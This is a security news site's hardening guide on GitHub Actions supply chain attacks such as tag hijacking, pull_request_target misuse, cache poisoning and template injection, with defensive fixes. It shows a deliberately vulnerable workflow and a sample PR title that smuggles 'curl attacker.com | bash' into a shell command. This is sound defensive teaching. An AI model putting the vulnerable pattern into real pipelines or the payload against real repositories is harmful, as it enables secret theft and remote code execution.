Cloud Security Wire
AWS Azure GCP RSS
Hardening Guide high

GitHub Actions Supply Chain Security: Pinned SHAs, Safe Triggers, and the Attacks Hitting Teams Right Now

Multiple GitHub Actions supply chain attacks in 2025–2026 have exposed CI/CD secrets at scale. This guide covers the attack patterns -- tag hijacking, pull_request_target misuse, cache poisoning -- and the hardening steps that actually stop them.

By Cloud Security Wire · ·
#github-actions#supply-chain#cicd#secrets#devops#pipeline-security
High Severity

This issue has been assessed as high severity. Review affected configurations immediately.

GitHub Actions has become one of the most reliable initial access vectors for supply chain attacks. Three high-profile incidents in the past year alone — tj-actions/changed-files (March 2025, 23,000+ repos affected, CVE-2025-30066), Trivy-action (March 2026, 75 of 76 version tags compromised), and actions-cool/issues-helper (May 2026) — all used the same fundamental pattern: compromise a popular Action, force-push malicious code to its mutable tags, and wait for downstream workflows to pull and execute it.

If your pipelines consume third-party Actions by mutable tag — uses: some-action@v4 — you are one compromised upstream repo away from credential exfiltration at scale.

The Attack Patterns

Tag Hijacking

GitHub Actions tags (v1, v2, v4) are git tags, and git tags are mutable. An attacker who gains write access to an Action repository — through a compromised maintainer account, a malicious PR, or a stolen PAT — can force-push all existing tags to point to a new, malicious commit. Any workflow using uses: action@v4 will silently start running the attacker’s code on the next execution.

The tj-actions attack did exactly this. The compromised Action printed all CI runner environment variables — including GITHUB_TOKEN and any secrets — to the workflow log as base64-encoded output. Logs are public for public repos.

pull_request_target Misuse

pull_request_target runs in the context of the base repository, with access to base-repo secrets and a GITHUB_TOKEN with write permissions. It was designed for use cases like labelling pull requests, where you need repository context but are running in response to an external PR.

The dangerous pattern:

on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out ATTACKER'S code
      - run: npm test  # Runs attacker's code with base-repo secrets available

This pattern appears in many open-source projects. An attacker opens a PR with a malicious package.json postinstall script, the workflow checks out their code and runs it in the privileged base-repo context, and secrets are exfiltrated.

Cache Poisoning

The TanStack attack in May 2026 demonstrated a more sophisticated chain: an attacker injected a malicious pnpm store into the GitHub Actions cache. When a subsequent legitimate workflow restored the cache, it executed the attacker-controlled binaries. The attack also extracted OIDC tokens directly from runner process memory — cloud credentials that are scoped but often over-privileged.

Template Injection

Interpolating untrusted data directly into shell commands creates script injection:

# Dangerous
- run: echo "PR title is ${{ github.event.pull_request.title }}"

# Safe
- run: echo "PR title is $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

A PR titled $(curl attacker.com | bash) becomes a problem in the first pattern.

Hardening Your Workflows

1. Pin all third-party Actions to a full commit SHA

# Vulnerable: mutable tag
- uses: actions/checkout@v4

# Safe: immutable SHA
- uses: actions/checkout@f43a0e5ff2bd294095338a393142f3e05f3233ff  # v4.2.2

SHA-pinning is the single most effective control. The Action maintainer’s repository can be completely compromised and your workflow will continue running the version you pinned. Tools like Dependabot, Renovate, and zizmor can automate SHA pinning and keep SHAs updated.

2. Minimise GITHUB_TOKEN permissions

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: read
    steps:
      - uses: actions/checkout@{SHA}
        with:
          persist-credentials: false  # Don't write token to disk

Set default workflow permissions to read-only at the repository or organisation level (Settings → Actions → General → Workflow permissions). Grant additional permissions only where specifically needed.

3. Fix pull_request_target

Either avoid pull_request_target entirely, or ensure you never check out PR code in a pull_request_target workflow:

# Safe pattern: use pull_request (runs in fork context, no secrets)
on: pull_request

# If you must use pull_request_target (e.g. labelling), never checkout PR code
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Apply label
        uses: actions/github-script@{SHA}
        with:
          script: |
            github.rest.issues.addLabels({...})
        # No checkout, no test execution

4. Pass variables via environment, not interpolation

# Prevents injection via PR title, branch name, commit message, etc.
- name: Process PR
  run: echo "$PR_TITLE" | some-tool
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

5. Scope secrets narrowly and rotate after incidents

Use environment-scoped secrets rather than repository secrets for deployment credentials. Secrets in GitHub Environments can require approval before use and can be restricted to specific branches. After a dependency or Action compromise, assume exposed secrets are compromised and rotate immediately.

6. Audit with zizmor

zizmor is an open-source static analysis tool that scans workflow YAML for:

  • Unpinned action references
  • Dangerous trigger patterns (pull_request_target + checkout)
  • Template injection risks
  • Excessive permissions
pip install zizmor
zizmor .github/workflows/

Run it in CI as a gating check. A failing zizmor scan should block merge.

What to do after a tj-actions/trivy-action style attack

If a third-party Action you use is compromised:

  1. Immediately rotate all secrets that were present in affected workflow runs
  2. Check public workflow logs for base64-encoded environment variable dumps
  3. Review GITHUB_TOKEN usage — any write operations the compromised Action could have performed
  4. Audit recent commits, releases, and deployments made during the compromise window
  5. Pin the affected Action to a known-safe SHA before re-enabling it

The GitHub security advisory database now tracks Action compromises. Subscribing to notifications for Actions in your dependency set — possible via Dependabot or manual monitoring — provides early warning.

← All Analysis Subscribe via RSS